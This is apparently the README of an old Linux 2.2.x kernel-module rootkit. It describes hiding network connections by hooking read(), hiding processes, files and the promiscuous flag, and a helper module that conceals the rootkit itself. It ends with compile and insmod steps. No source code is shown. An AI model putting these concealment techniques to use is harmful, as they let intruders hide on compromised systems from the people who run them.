An lkm I wrote for the 2.2.x kernel series. It does the normal
trojan stuff, like hiding stuff from netstat by hacking read(), hiding
processes and files, and hiding the promisc flag etc. But include in
dummy.c is the ability to hide trojans in the 2.2.x series, (the old
method of zeroing the name doesnt work anymore). Oh yeah, there's also a
client which allows you to switch on and off the effects of the trojan. 

- smiler 

# gcc lkm.c -c -O3 -Wall
# insmod lkm
# insmod dummy
# rmmod dummy
# cat /proc/modules
# w00p